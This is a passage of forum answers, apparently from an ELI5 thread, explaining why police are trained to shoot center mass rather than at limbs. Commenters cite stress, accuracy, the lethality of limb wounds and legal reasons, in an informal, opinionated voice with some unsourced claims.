shot 12-15 rounds.  At that point it's all muscle memory and training that kicks in.  The officer truly believes he had only shot 3-4 times even though he shot 12-15.\n\nTL;DR in a high intensity situation it'd be near impossible to get a well aimed shot to any limbs, this isn't the wild west movies where you can shoot a gun out of the bad guy's hand.", "If I understand correctly the only reason a cop should use his weapon is if deadly force is required in a situation. The only reason deadly force should be used is if they feel their life is in danger. So in short, if your using your weapon your life is in danger, if your life is in danger you're aiming to kill. If you shot someone in the limbs you would get sued 100% of the time because you cant argue your life was imminent danger if you had the luxury of not using deadly force and aimed to injure instead of to kill. Second reason is how difficult it is to hit a moving target under the stress and adrenaline of a life or death struggle, most instances you have maybe a second or 2 to fire a few shots. You cant afford to to aim for a narrow target in a moment where seconds or a few shots decide whether you go home to your family or you go home in a pine-box. Shooting at targets in the range can never give you the accurate feel of what it would be like to aim a maniac with knife rushing in to slice your neck or gut you like a fish. It's just not like in the movies.", "There's also various non-fatal devices such as stun guns and those bean-bag guns that could (and should) be used in most situations.  Even if the guy has a knife or something, cops should be able to take somebody down without killing them..", "Most the stuff in here is excellent at explaining this. But I just want to add do you know how hard it is to get shot by the police?! You honestly have to make some sort of effort for it to happen. \n\nThere is one simple rule you can fallow to guarantee you will never be shot by the police that rule is DONT BE AN IDIOT!!! Policeman are just normal people out doing there job are they gonna be perfect all the time? No of course not mistakes will happen. But they are trying there best and there are many ways of fixing any mistakes that are made. \n\nIf you have a problem with an officer or feel you Are being treated unjustly that's completely okay but there is a time and place to take care of that. Deal with the officer politely let him finish his job and then after he's gone you can take it up with your city council or the police chief there are so many ways and people will actually care to listen to a complaint of some one that can act reasonable and responsible. \n\nIn short if you don't wanna get shot all you have to do is NOT BE AN IDIOT! ", "gun safety: there is no \"shoot to wound.\" You only shoot to kill. There are main arteries in the leg and arm where if they are cut, you will bleed out in a minute or two. Also, what if you miss the arm, and get the heart or head? Then you were going for a \"wound\" and ending up killing someone.\n\nAll shots are to kill. You don't fire a gun unless it is your absolute final resort and you are deciding to kill the individual", "I suppose that the biggest thing to note is that shooting someone in the leg is VERY lethal - lots of important veins and arteries run in your legs, shoulders, and arms. It's very easy to make someone bleed out if you pop them there.", "A firearm is a _lethal_ weapon. Police are trained (though as we've seen do not always follow that training) to fire their weapon only when lethal force is necessary.\n\nThis is also why it's slightly misleading when the media reports that an officer fired a large number of shots. If the officer has discharged their weapon their intention is to permanently stop their target which basically means if they're willing to fire _at all_ they're willing to _fire them all_. It's easy to see the catch 22 the this creates.\n\nShooting someone in the leg or shooting the gun out of someone's hand is sadly reserved for Hollywood.\n\nedit: my gun nomenclature was wrong, so I replaced it with a fanciful rhyme.", "if it gets to the point where you have to pull your gun to stop them you're past the point of negotiation.", "Cops are trained to shoot center mass, meaning the chest because it is the largest target.  Shooting the leg would be a hard shot because of the constant motion and small target.  Shooting a 9mm center mass most of the time is not a fatal wound, usually these deaths are from multiple gunshot wounds.  ", "Sorry to be tardy for the party. Found this in my facebook feed a little while ago, then saw this question. Thought it was relevant.\n\n >  Ferguson: Why did the officer not shoot Brown in the legs?\n\n >  Many people are innocently asking this question. The answer could go on for pages, but to be succinct, a couple handfuls of reasons:\n\n >  1) This ain't the movies\n >  2) Most police do not fire their weapons much. Most are not great shots.\n >  3) He would have to be an incredible shot to be crazy enough to fire wounding shots. \n >  4) Nearly all firefights are \"stress shoots.\" The other guy is moving. Heart is beating fast, often out of breath. The officer in Ferguson had just been punched in the face and had been in a wrestling match for his pistol, according to him. \n >  5) Bullets that miss can hit someone else.\n >  6) You always are low on ammo, and you do not want to waste a single bullet.\n >  7) Time spent reloading is dangerous\n >  8) I have seen many people shot who kept fighting. Shot with weapons far more powerful than any officer's pistol. Many police and combat troops have seen this and will verify.\n >  9) Police and Soldiers never train to shoot to wound. (None that I know of.) All combat shots are center mass of any part of the target that you can see. If you see only a foot. Shoot the foot. If you see a chest -- aim for the middle. That is the way troops and police train. If the officer is pointing his pistol at someone, he is one click away from going lethal. There is no in between.\n >  10) This ain't the movies.\n\n >  During the firefight at the link below, I was photographing when two people were shot a total of seven times. Two men, shot seven times. (US Soldier three times, al Qaeda four times with M4 point blank.)\n\n >  After the US Soldier was hit three times in front of me, he continued to fight well. He was hit badly at nearly point blank. The al Qaeda terrorist was hit 4x. He was still standing trying to shoot. One shot took off a testicle, and then he got tackled by a US Soldier. Despite being hit 4x, he then engaged in aggressive hand to hand combat.\n\n >  Again, this ain't the movies. When officers or troops shoot, they must shoot to kill.\n\n >  See the bullets fly and the men fight:\n\n >  _URL_0_", "If someone were trying to kill you, would you make any sort of special effort to not kill them while defending yourself?", "Leg wounds can be fatal. There's a very large artery in the legs and if that gets hit, victim is in serious trouble.", "Because it is actually extremely difficult to shoot somebody in the leg when he's running around. It's the part of the body that is, after all, moving the most -- it's practically a blur in a full run -- and may be covered by clothing that makes it difficult to tell where the leg actually is. On top of that, even an otherwise debilitating injury to the leg (not to mention a relatively minor one) may not be enough to stop a person amped on drugs or adrenaline.", "Many posts here talk about the act of shooting being difficult enough as is without worrying about hitting someone on the leg or arm.  \n\nWhile that may be true in reality police are supposed to match force. This way all force is justified and reasonable.  If you shoot someone on the leg you didn't feel you or people's lives were at risk therefor yiu didn't need to use you gun at all. \n\nIn a similar vein, if you are in a state with a \"make my day\"  law (kill people who break into your home) DO NOT harm an intruder if you aren't going to kill them. ", "Post on Facebook by Michael Yon.\n\nI highly recommend reading it, best answer I've seen yet.\n\n\"Ferguson: Why did the officer not shoot Brown in the legs?\n\nMany people are innocently asking this question. The answer could go on for pages, but to be succinct, a couple handfuls of reasons:\n\n1) This ain't the movies\n\n2) Most police do not fire their weapons much. Most are not great shots.\n\n3) He would have to be an incredible shot to be crazy enough to fire wounding shots.\n\n4) Nearly all firefights are \"stress shoots.\" The other guy is moving. Heart is beating fast, often out of breath. The officer in Ferguson had just been punched in the face and had been in a wrestling match for his pistol, according to him.\n\n5) Bullets that miss can hit someone else.\n\n6) You always are low on ammo, and you do not want to waste a single bullet.\n\n7) Time spent reloading is dangerous.\n\n8) I have seen many people shot who kept fighting. Shot with weapons far more powerful than any officer's pistol. Many police and combat troops have seen this and will verify.\n\n9) Police and Soldiers never train to shoot to wound. (None that I know of.) All combat shots are center mass of any part of the target that you can see. If you see only a foot. Shoot the foot. If you see a chest -- aim for the middle. That is the way troops and police train. If the officer is pointing his pistol at someone, he is one click away from going lethal. There is no in between.\n\n10) This ain't the movies.\n\nDuring the firefight at the link below, I was photographing when two people were shot a total of seven times. Two men, shot seven times. (US Soldier three times, al Qaeda four times with M4 point blank.)\n\nAfter the US Soldier was hit three times in front of me, he continued to fight well. He was hit badly at nearly point blank. The al Qaeda terrorist was hit 4x. He was still standing trying to shoot. One shot took off a testicle, and then he got tackled by a US Soldier. Despite being hit 4x, he then engaged in aggressive hand to hand combat.\n\nAgain, this ain't the movies. When officers or troops shoot, they must shoot to kill.\n\nSee the bullets fly and movies\nn fight:\n\n_URL_0_ \"\n\nThe picture this was posted under:\n\n_URL_1_", "as someone with a lot of experience shooting for fun and as a part of my job, i can say that aiming for a wounding shot at any distance is very difficult. Add in the fact that people rarely stand still and could even be running at you from a short distance (in the case of Wilson and Brown). Police officers and military personal are not trained to shoot to wound because they are only shooting if they feel their life is in immediate danger (or depending on ROE's). this combined with the fact that often times people do not go down even if they are hit with multiple fatal shots.  ", "Harder to make the shot and it doesnt stop people from shooting you.  \n    \nThe former is critically important because if you dont hit your target youre hitting something else. Sometimes this means a bystander. The point is when a cop (or anyone protecting themselves) has a gun and says put your hands where i can see them and you advance on them, make it look like you could be reaching for a weapon or any other any possibly hostile body language, a cops not going to take a chance because hesitating to make the shot is what gets a cop killed.  \n    \nEdit: spelling because touchscreens are hard with big thumbs", "This isn't the movies. It's extremely hard to hit something, especially if it's moving. No amount of training is going to make it realistic to force them to try to shoot legs. ", "THE REAL REASON: medical bills and lawsuits are almost always more expensive than a wrongful death settlement.", "I'd say center mass more than kill shot. But center mass does = kill shot most of the time. Being accurate can be quite difficult. Especially with a pistol. So center mass is your best bet to stop the threat. ", "Many factors play into this.  I'll try to give the shortest version I can.\n\nThe first issue is the physiological effect that firing a weapon at another human being causes.  Those fine motor skills that give you precision shooting or even the ability to properly squeeze the trigger.  Gone.  A normal heart rate so you can control your breathing, ultimately effecting your accuracy.  How about a 200+bpm heart rate to go with your fear!  You lose a good portion of your eyesight, which leaves you with tunnel vision (I wonder if that effects accuracy?).  You get selective hearing.  Very sweaty palms that effect your grip.  Plus a few other things.  We won't even go into the OODA Loop.\n\nSo now we take all that into account.  Your accuracy rating just dropped by anywhere from 50 to 90%.  Now lets say cops are trained to shoot for an arm or leg.  Both small targets.  So we have taken away, let's say 50% of the accuracy an officer has.  Now you tell that officer to ignore the large target that is the torso, and aim for something 1/3 the size that is moving, likely in random patterns and motions (person moving, plus the movement of the legs to propel the body).  If the officer is incredibly lucky, he or she will score a leg shot on the bad guy.\n\nNow lets take in adrenaline.  If you are in a fight for your life and I put a .40 in your leg or arm, I can guarantee you that you won't feel any pain.  Initially.  It may take a few seconds, or even a few minutes before that wound takes effect.  More than enough time for an officer to be beaten/shot/stabbed/etc.  That's just adrenaline.  We haven't included drugs and what they can do to give you more fight.  I have witnessed this several times.  Johnny Muhammad in Afghanistan can typically take about ten in the chest before he goes down.\n\nWe as military and police are trained how to shoot for one reason only.  To neutralize the threat of death or great bodily harm to ourselves or others.  If it only takes one shot to drop a bad guy, then it only takes one.  If it takes sixteen, then it took sixteen.  If I pump nine into your torso and you are still a threat, I'm going to continue shooting until you cease the actions I perceive as a threat.  Period.\n\nSome things everyone needs to keep in mind.  Police are people too.  They eat, drink, piss, and shit just like you and me.  They bleed the same color and just as easily as you and me.  They feel fear, just like you and I do.  The difference between most of us (not all, some are cowardly assholes undeserving of the badge), is the ability to control and confront that fear head on.  That is courage.  Finally, every time a cop gets into a fight, there is at least one gun present.  This thought is in the back of every officer's head.  \"What if I lose my gun?\"  What happens after that?  If you are knocked out in a fight, that person can very easily kill you with your own weapon.  If you are out numbered, they can overpower you and take your weapon.  It has happened many times in the past, and it will happen again.  \n\nThe bottom line is this.  Don't fucking fight the police unless you have a death wish.  Bad guys get worse every single day.  They pack more heat and are training hard, believe it or not.  The only thing standing between you and them, is the thin blue line.  Most of them are willing to die for you, so you can sleep comfortably in your bed every night.  If you think you are being wrongfully arrested or harassed by the police, DON'T FUCKING FIGHT THEM!  This will only make the situation worse for you.  Record the interaction if you can, and just accept what is happening.  Then you can fight it the legal and right way, in court, and probably win some good money out of the whole ordeal.  The second you throw a punch though, you are now going to see some jail time, and you have lost all credibility that you are a good and upstanding citizen.", "Police officers are trained to shoot the 'mass', this being the chest area. \n\nReason 1) An armed shooter/dangerous lunatic may not necessarily be incapacitated by a shot to the hand/leg/whatever else and therefore will still pose a threat to the officer and the public.\n\nReason 2) It is very difficult to shoot anywhere else than the 'mass' under pressure. It does not work like the movies. \n\nReason 3) A kill shot ensures that the officer won't get sued for the rest of his life by the victim for medical expenses.\n\nReason 4) Shooting in the chest does not always kill: if the victim survives, police officers are trained and required to give first aid immediately until the ambulance takes over. ", "Imagine the size of a bullet. Basically a marble. How hard would it be to throw that marble at someone's leg from 10-15 feet away? Now imagine that person is running at full speed. How hard is it to hit that moving leg now? Now imagine you're in a life and death situation, your body is flooded with adrenaline, and your fine motor skills are virtually non-existent. It would be hard to even hit that person with that marble, much less their leg. Your best chance to hit anything is center mass. But even that is difficult. ", "You shoot to stop the threat.  In carry training, we were all taught that you aim for center mass - heart, lungs, spine - the fastest ways to bring down an assailant and stop the threat.\n\nAlong the same lines comes the question \"why did he shoot him so many times!?\" Same answer.  You shoot to stop the threat - you fire until the threat to your life or someone else's life has been stopped.", "Imagine building a house.  You have decided to use screws.  You could use a hammer, but its the wrong tool for the job.  A gun is a tool designed to kill people.  If police want a non-lethal options, they have a number of other options that are purpose built for non-lethality.  Using a gun as a non-lethal option is hard, just a using a hammer with screws is hard, it could work, but not well.  \n\nCops are trained on the theory that shooting someone is a last resort.  If they are going to shoot someone, they want to stop them.  This means if the person has a gun and is a threat, they will no longer be a threat.  Someone shot in the leg can still shoot an officer or civilians and remain a threat.  \n\n\nIn one theory of the Ferguson case, the victim was allegedly assaulting the officer who shot him. If this was the case, the officer would want to stop the direct threat of the assault in the most effective way possible, which is unfortunately shooting him.\n\nThis is one highly simplified theory.  The reality is far more complex. I make no assertion that this is what actually happened.  It is merely one possibility that is relevant to the question.  \n", "The most recent police shooting in my area involved a drunken young man who knocked over a cop and tried to get the gun from the cop. The cop needed to make the man dead. Shooting the drunk guy in the leg might have made him angrier. Shooting the drunk guy in the arm might have made him angrier. Drunk guy needed to stop. The police chief referred to it as a \"clean shoot\", as in the investigation will show that the appropriate action was taken by the cop.", "All these cops can say what they want they shoot far too many people", "A police officer is just another person. If they feel that they are in danger they are going to protect themselves. At the end of the day they just want to go home to their family. ", "Here's a copy of Call of Duty. Now try aiming only at nonfatal areas.", "Because if you don't shoot to kill they can come back to sue. Even if it's someone robbing you in your home at gun point and you get a chance to shoot them, you must kill them or else they have the right to sue you for medical expenses even if they were in the wrong (trying to rob you). Center mass is a much easier target too.", "When a cop feels use of his gun is necessary, he is fearing for his and/or others lives, and has no non-lethal weaponry that he is confident will be sufficient to neutralize the threat. At this the suspect is presenting a great enough threat that the suspect's safety is no longer the primary concern (but the safety of the public instead). The primary goal becomes neutralizing the threat provided by the suspect.\n\nBearing that in mind, given the urgency of protecting the public, the police officer must use that he can confident will immediately neutralize the threat. Neither pepper spray nor tasers are as strong guarantees of threat neutralization (pepper spray must be used as close range and does not immobilize the victim, tasers can be tough to aim, can have difficulty penetrating clothes, and will only work as long as the barbs stay in the flesh of the suspect).\n\nA shot aimed at the leg is hard shot to hit and again, does not guarantee the suspect's threat is neutralized.\n\nSeveral shots to the chest will almost always knock the suspect to the ground, cause pain sufficient to immobilize, and disrupt enough bodily functions to make moving difficult.\n\nAgain, according to training, when a police officer actually uses (most often they are simply used to intimidate the suspect into surrendering) his lethal sidearm he believes that a most grave threat is presented to himself or others. When analyzing the situation after the fact, the actions of the suspect may not seem as grave as they would at the time; but when a suspect has been told to freeze and continues to approach the officer, or has been told to drop the gun and continues to hold it or makes a threatening motion towards it, etc, the officer can't just \"hope\" that they aren't going to hurt them or others.", "Cops are trained to shoot to stop the threat, not to kill- death just happens to very often be a side effect of being shot in the torso, and the easiest place to shoot is the bulkiest part of the person. They aren't trained to shoot someone's leg or arm for several reasons: the likelihood of missing is higher when you're aiming for a small, moving target like someone's leg or arm. That means that the likelihood of hitting someone that you didn't mean to is higher. Also, if you shoot someone's leg, you run the risk of them continuing to be a threat- you can still shoot if you've been shot in the leg. Adrenaline is a very powerful thing, and someone hopped up on it can be very, very dangerous, especially paired with the potential for them to be on a drug that can inhibit the ability to feel pain or care that they are feeling the pain. You don't always know what's in someone's system.\n\nThat thing in the movies about how the good guy cop was able to shoot a gun out of someone's hand right before his dashing partner tackled him and was able to cuff him right away is just for the movies. Real life does not work that way. In a real situation, the odds of missing when aiming for someone's hand is just too high to justify aiming for anywhere other than their torso.", "Weapons are designed to kill not maim.\n\nIf you are at the point where you are pointing a weapon and intend to shoot, you better intend to kill.  \n\nIf your force escalates to that point, something went very wrong that you have the need to defend your life.\n\nMovies are not real life. ", "Because shooting someone in the arm or leg doesn't stop them and shooting center mass does. To flip this around a little bit, a couple of years ago a [perp shot a plain clothes officer through his left bicep](_URL_0_) the officer then returned fire and hit the perp in the chest. ", "Because the only time it is appropriate to fire a gun at another human being is when you intend to permanently cripple or kill them (as opposed to temporarily kill them, phrasing).", "It's unreliable. Legs are small targets, and glancing shots do negligible damage, unless you're unloading buckshot. They're trained to aim for centre of mass, that's your torso. Contrary to popular media opinion, they're not taught to finish you off, so if you play dead, you have a very good chance to survive that kind of shooting.", "One of the best explanations I ever heard was that cops are trained to use their guns only in situations where they believe lethal force is appropriate. The use of a gun suggests that the officer felt her/his life was in danger, and in that situation, you shoot at the body. ", "No LEO, or gun owner who takes a defensive shooting course, is ever trained to try and hit anything other than center of mass.  In fact I was warned against it when I took my course.  First reason is that even trying to hit center of mass you are more than likely going to miss (at standard gun fight ranges of 10-25 feet or less) at a rate of 30% to hit.  That is, even at close range if you are in a situation where you are fearing for your life and you shoot ten rounds you are statistically going to hit only with 3 of them.  There are many reasons that boil down to adrenaline messes with your aim and you are probably not taking nice aimed shots when you think you are about to die.  These statistics are for highly trained people BTW, an untrained person would be lucky to connect one round.\n\nThe second reason is legal.  An overzealous prosecutor with a desire to make a name for themselves can use the fact that you tried to hit non-vital areas as proof that you were not in immediate fear of death or great bodily harm (the standard for the self defense claim) and suddenly you are in jail.  It is better legally to try and stop the attack by killing them rather than trying to spare their life and you end up in prison.\n\nLastly, there is no such thing as a non-fatal area when you are shooting.  You can nick an artery.  You can cause death by inducing shock if they had a weak heart.  There are people who die from a simple cut to the hand and yet a thug gets shot 15 times in the chest lives.  Also there is no guarantee that the non-fatal shot will incapacitate (the ultimate goal) if say the attacker was on drugs that prevent them feeling the pain or their tolerance could be higher.\n\nWhen using lethal force it is just that.  Lethal.  The rules for police and laymen are the same.  So if you have to shoot to save your life it is an all or nothing affair.", "It is interesting how many people who have never used a gun think they know how easy it would be to shoot someone in a non-fatal area. If you are going to point a deadly weapon at someone, you are not going to shoot to wound.", "I'm glad this question was asked because it is astounding how little most people know about firearms.\n\nKill shots are not a thing of reality. Cops and armed civilians are not super soldiers. No one goes for a \"kill shot\", you shoot for center mass and hope you can stop the threat as quickly as possible. \n\nThere is not magic number of rounds it takes to stop someone, it could be one or ten. The number of rounds fired is irrelevant in a situation where someone draws their weapon in self-defense, they will shoot until the threat is ended. \n\nIt would be suicidal to aim for a leg or arm in hopes of stopping a threat. I hear a lot of people being outraged over the number of shots fired/not aiming to injure. Do not underestimate the ability of the human body to withstand multiple gunshot wounds while continuing to fight.\n\nIt isn't a video game, you can't take your sweet time to aim for limbs and hope that it's enough to stop them. These kind of events happen in mere seconds, under extreme stress, in life or death situations. \n\nThese cops aren't racist, psychopath, serial killers just waiting for a chance to shoot up a black teenager. ", "It doesn't help that the media only chooses to cover the cases where it seems like the cop is the \"bad guy.\"", "I've heard mixed stories, but the most common police training anecdote I hear is that non-fatal shots lead to lawsuits. Despite the fact that the family of the deceased has the ability to sue the department, it becomes difficult to succeed without the key witness.", "Id like to see you fire a weapon in a life threatening situation and aim for the leg... ", "tl;dr:  If the situation has escalated to the point that you even have to draw your weapon, you are already at the point where deadly force is considered reasonable, and should almost certainly shoot for center of mass due to it being the largest surface area with a high chance of stopping the target.", "Cops are really only supposed to use their guns in life-or-death situations. As such, when a cop draws his weapon he has already decided that you are or may soon be a deadly threat to him or others. This justifies the shots to center mass = torso.\n\nThe rationale is that you need to be stopped from presenting this threat and the fastest way of doing this is incapacitating you. Ideally (from the point of view of stopping someone), cops would take headshots, but the target is simply too small to hit reliably.\n\nFinally, if officers had time to aim for an arm or leg, then there could be serious questions as to whether a person really presented that much of a threat, and if non-lethal force (taser, pepper spray, baton) might not have been more appropriate.\n\nLastly, many seem to underestimate how stressful a potential life and death situation is for a police officer. In those situations you need to act with only fractions of a second to decide and/or to preserve your own life and that of others. Consequently, you need to react from muscle memory and learned patterns. Forget how they have oodles of time in movies to carefully aim their guns.\n\nIf you want an idea of how it feels, quickly run up and down a long staircase 5 times, then have someone jump out and scare the shit out of you - and then quickly draw your gun and try to hit a dinner plate size target at 20 feet with your parents standing just one foot from each side of it. You have literally 2 seconds to hit and incapacitate the target before it tries to sink a knife into your chest - think you could do it?", "TL:DR - Bullets don't stop when you miss.\n\nSo, this question has been answered pretty adequately, but this question is a huge pet peeve of mine because it shows so few people actually care about or understand law enforcement philosophy.\n\n90% of the time you *read about* a police officer shooting someone, it's because they either A) ignored protocol, or B) panicked. Essentially, they used lethal force when they shouldn't have. Police officers (in developed, non-dictatorial countries) are trained only to use lethal force when the life of themselves or an innocent is directly threatened. This 90%ish figure I propose is when the officer didn't appropriately establish that a lethal threat was imminent, but thought it *probably* was. AFTER THE FACT people realize his \"mistake\" and then it gets written about and he gets demonized. The other 10% of the time, threat was established, and lethal force was used appropriately. Often times the officer in this situation is given a pat on the back and a month off to get some cursory counseling about having fucking killed someone. That's a rant for a different day, though.\n\nNow, to your question directly. You've never fired a gun. At least, not a pistol. Your question makes that extremely clear. That's not a problem or something to be shamed about, but it demonstrates you don't understand how a firearm works. A layman marksman (what I would classify most police officers having) has about a 5-10 degree cone of variance when firing a pistol from a calm, aiming stance. That widens to about 20-30 degrees when adrenaline filled, and about 50-60 degrees when having been recently actively moving (say, after running after someone, or running into a building). At 7 yards, a human arm takes up about 3 degrees of arch. That means that if our marksman were perfectly still, calm and aiming, they'd have a 60% chance to potentially hit/kill someone standing up to 200 yards behind the person's arm. This could be the shop across the street, or the kid in the house next door. Dry wall doesn't stop a full metal jacket round. Neither does siding, plywood, glass, or insulation. If the officer was (likely) pumped full of adrenalin and has run in, they've got about a 90-95% chance of missing an arm or a leg. I certainly don't like those odds, and fortunately, neither does a police department.\n\nA person's torso, however, AKA \"center mass\" takes up about 20-30 degrees of arc at 7 yards. That means our marksman has an almost guaranteed hit, and won't miss and harm an innocent behind the target if shooting for center mass. Of course, that's if they are calm and aiming down the sites. Realistically, our marksman has about a 50-60% chance of hitting center mass. But that's better than the 5-10% chance she has to hit an arm or a leg. \n\nSo, yes, it would be nice to aim for extremities rather than torso, and maybe one day when our robotic overlords rise up and repress us for our own good and safety, they can use their advanced mechanical accuracy to wound rather than kill. But so long as it's humans and firearms, center mass it is.", "There are several reasons for this.\n\n1) There is no such thing as a non-fatal, but crippling area. Even a shot to the leg may hit the Femoral artery which would almost certainly be lethal.\n\n2) Stray bullets are bad for innocent bystanders. If you have to put a bullet in someone, it's better to make sure you hit the target you're shooting at rather than risk shooting an innocent bystander. Most modern munitions will not penetrate a brick or concrete wall,, but lighter materials like plywood, plaster, aluminium and glass won't stop most bullets in the first go.\n\n3) Most situations in which a police officer is forced to discharge his weapon are highly stressful. with all the endorphin and adrenaline pumping though your body, shooting accurately is actually really hard. You don't really have time to wait for a steady pulse and controlled breathing.  So because of #2 above, you aim for the bigger target lower middle of the visible target.", "Ive had guns all my life and the comments I have read here aren't discussing the issue in the correct way. There is no \"non lethal shooting\" its a flawed concept, shooting is too dangerous for that. ", "If you shoot someone in the leg, can't they still use a gun?", "If you have to shoot someone, then it's life-or-death. Shoot to kill.\n\nAlso, shooting a gun isn't as easy as the movies make it seem.", "Not only is it very difficult to hit the leg or arm in motion, but most times a cop should be using their gun, the guy they're shooting at is armed or otherwise dangerous. If you shoot a guy with a gun in the leg, he's not going to be going anywhere fast, but nothing is stopping him from turning around and shooting you in the face.", "Technically a firearm should only be used if the situation has escalated to the point where leathal force is the only option.  Otherwise they would be using a Taser,  spray or physical intervention.\nSo you should only need to fire a gun if you intend to kill because you have no other options.", "Chest is the easiest place to aim for and hit but it also has a lot of organs.  You have to be really good to essentially \"clip\" an extremity (arm/leg) with a bullet especially under pressure.  Even then, you could hit a major artery and they bleed out.\n\nIf you are going as far as to discharge a gun you are preparing to kill.  One of the first things I ever learned was if you aim a gun at something you better be ready to kill it.", "Many here have missed that if an officer is shooting someone, they must present a current clear and present lethal danger to an innocent person. You can't take risks with that. You have to render them a non-threat as soon and as sure as possible. ", "They are only supposed to shoot if they are in danger so if they are in danger they need to shoot where it is A) more likely to be accurate and B) will definitely incapacitate the person being shot at. If your life is under threat the life of the other is of less value in the eyes of the law. If you shoot someone while under threat and they are not killed it will be used against you in court that you didn't feel threatened enough to try to kill. They will question the need for violence at all if you did not feel threatened enough to shoot to kill.", "I'd just like to say that I almost didn't open this thread, afraid of what I would see given the views often expressed by so many on this site and I have been pleased and amazed at the quality of the responses and the qualifications of those giving the responses.  It's really renewed my faith in Reddit as a place for reasonable discussion.", "They are in some developed countries. Also, cops are trained to try every other possible option first, before going for a kill. That's why cops in Germany or UK only use a literal handful of bullets. Germans only had to use 85 bullets in 2011. Half of those were warning shots. \n\nSix people were shot by the police that year. ", "Just thought I'd add that we learn that discharging a firearm toward someone is deadly force regardless of where we aim, this applies to vehicles as well so shooting out tires is a no go. So we shoot center mass for a better chance at hitting them since it's deadly force anyways", "I think along with the difficulty of a leg shot, if cops were trained to use non-fatal shots, there would be a lot more shootings in general. By training them to aim for kill shots, they are also only trained to use a gun as a last-resort end to a threat. If they trained to use leg shots, they would be more inclined to shoot even when they don't need to because they know that they won't kill them.", "The reason cops shoot to kill is because guns are killing weapons. \n\nGuns fall under \"Lethal Force\" under the force continuum. It's used to kill, not wound. \n\nBatons, tasers, and pepperspray are considered hard-intermediate weapons. They are used to wound and stop the suspect. \n\n", "As a police officer, there is no such thing as \"shoot to stop\" (I.e. Aiming at an area such as the leg to simply injure). Police are trained and taught that if something as powerful as a firearm is to ever be used, it is for a kill. Furthermore, a gun may only be drawn if their is a direct physical threat that could lead to serious death or injury to an officer or citizen. Police may not shoot at fleeing suspects, etc. To reiterate, if something as powerful and deadly as a gun needs to be drawn, it is the last means of force and you are shooting to kill. Uses of force have recently been implemented to injure, stop, or refrain suspect from committing further actions such as tasers, batons, pepper spray, etc.", "Also...even if they did go for injuring or disabling shots, the news wouldn't report it as vociferously as a killing.", "As someone who was an LEO I can tell you that in a possible life or death situation the last thing I'm worried about is aiming for your legs. If you've already forced me to the point that I have to use a gun, then you have it coming. ", "If you have to shoot, shoot to neutralize the threat. If neutralizing the target isn't necessary because they are not posing any immediate danger to themselves or others, then no shot should be fired. \n\nWhenever a cop shoots, they are shooting with the attempt to neutralize the subject. If they're shooting lethal rounds (as opposed to non-lethal) then there will always be the potential for a fatal wound, regardless where the bullet is placed--even shooting someone in the leg could sever the femoral artery and make them bleed to death.\n\nPlus, a police department can be sued out the whazzoo if a cop shoots to maim, which is why they're only authorized to shoot (I say authorized because sometimes cops shoot when they aren't supposed to) if themselves, a bystander, or hostage, are an immediate danger from the person who is a threat.", "In addition to the several correct top comments Shooting someone in the leg is incredibly dangerous because of the very large, very important femoral artery. Hit someone there they can easily bleed out, even though you shot them in the leg. The shoulder is also a risky place to shoot given that all the arteries and veins in the arm go through there. A shot to the arm IF you hit it almost certainly wouldn't stop anyone. \n\nTL;DR In addition to being incredibly hard to hit, shooting someone in the shoulder or leg is also potentially life threatening and shooting someone in the arm won't stop them.", "Because a wounded leg won't stop the target from shooting you or anyone else around you dead.", "Because shooting for the limbs doesn't work.\n\nThis is for several different reasons. First of all, the hands and legs are extremely difficult to hit. They are much smaller than the head and chest and are often moving. Find a range that allows you to rent a hand gun and try shooting at a human silhouette. You will hardly hit any on the hand. Even when you aim at the chest, a lot of your shots will miss and those that do hit will be all over the chest.\n\nAnd that's just when taking your time to aim carefully. When a cop (or anyone) is in a life-or-death shootout, they don't have time to do that. They shoot as fast as they can or they die. So their accuracy will be even worse. If you try shooting as fast as you can, most trained shooters will barely hit the silhouette and beginners might not hit it at all.\n\nThen there's the effectiveness. There is no guarantee that if you did shoot someone in the arm or leg that it would even stop them. Many people, when on adrenaline, don't even know they're hurt until afterwards. Even when they know they're hit, many people keep on shooting because that doesn't stop their motor functions. There are countless examples of this with cops and soldiers: someone is hit multiple times in many different parts of their bodies but keep on fighting. For an example, watch this reinactment of a police shooting: _URL_0_  It's campy and hilariously low budget, but accurate. Both suspects and police suffered wounds to the limbs and kept fighting, and killing.\n\nLimb wounds are hardly non-lethal. They are filled with arteries that can cause death in as little as 1-2 minutes when cut. Even when the wound doesn't lead to death, there are nerves and bones which can be permanently handicapped. The damage can even lead to amputation or permanent paralysis (for example, the Ford Hood shooter). \n\nHowever, when you aim for a killing shot at the head or chest, everything is the opposite (except lethality). It is MUCH easier to the head centre mass instead of arms or legs. Hits to critical organs like the brain, spinal cord, or heart and lungs will cause instant or near instant death or incapacitation. Hits to other organs like the kidneys, digestive tract, liver won't cause near-instant death but will cause severe bleeding that will still stop the suspect pretty quickly. \n\ntldr: shooting the limbs is almost impossible to do in real-world situations. Even if you did manage to do it, it probably won't stop him from trying to kill you, and it still has a high chance of killing or horribly maiming him. Chest shots are much easier to make and much more effective.", "Why are the lives of criminals more important than police lives? Never understood that mentality", "Guns are made to kill. Not stun, not injure, but to end a life. All shots are kill shots.", "Aside from it being hard to do and not being a reliable way to stop someone there is a thought that if you are using your gun to injure someone (not kill) then the situation doesnt require a gun in the first place.\n\n\n\nBasically the only time you should be using your gun is if you need to kill someone.\n\n\nAlso bear in mind a leg injury isnt always non fatal either.\nA woman here was shot in the leg by her son and she died from that wound.", "I was a federal officer. fire arms are deadly force (level 6 in my training) that is if your going to use it, you have determined that deadly force is 100% nessesary. You do not shot to wound, only kill. If you think a lesser level of force is adiquate then you go for your baton or pepper spray. Once you pull the trigger it is your goal to stop the threat through death. ", "ELI5: If it would be safe to just try to shoot the legs, then the situation is not serious enough to allow shooting at all. \n\nInstead of shooting at legs, things like tasers are considered more effective.", "Something that civilians are sometimes told, and realistically this should go for cops too, is too only discharge your weapon when you believe your life is in danger. If you are sitting there aiming for this guys leg, then you obviously didn't feel in danger enough to put him down.", "People have been misled by movies, where a guy can aim, with one hand, not even look towards his target and shoot a guy in the knee cap, all very nonchalantly.  This is impossible in real life.  Go to a range, rent a 9mm and try to hit the bulls-eye from 7 yards / 21 feet.  Your thoughts of hitting a small fast moving target, under duress, will immediately end.", "I don't know why the center mass answer has so many up votes. Police are not allowed to use a gun for non lethal force. They are not legaly allowed to use a gun to shoot a leg or arm. Part of it just has to do with the judical legality of when they use a gun it must be for lethal force. The other part has to do with insurance. When you shoot people in the leg or arm they have medical bills. Lawyers can and will then sue departments. The insurcance companies perscirbe that guns only be used in situations where lethal force is needed. If the cops shoot to many suspects in the leg the insurance company can drop the department/city. ", "Officer safety. If you 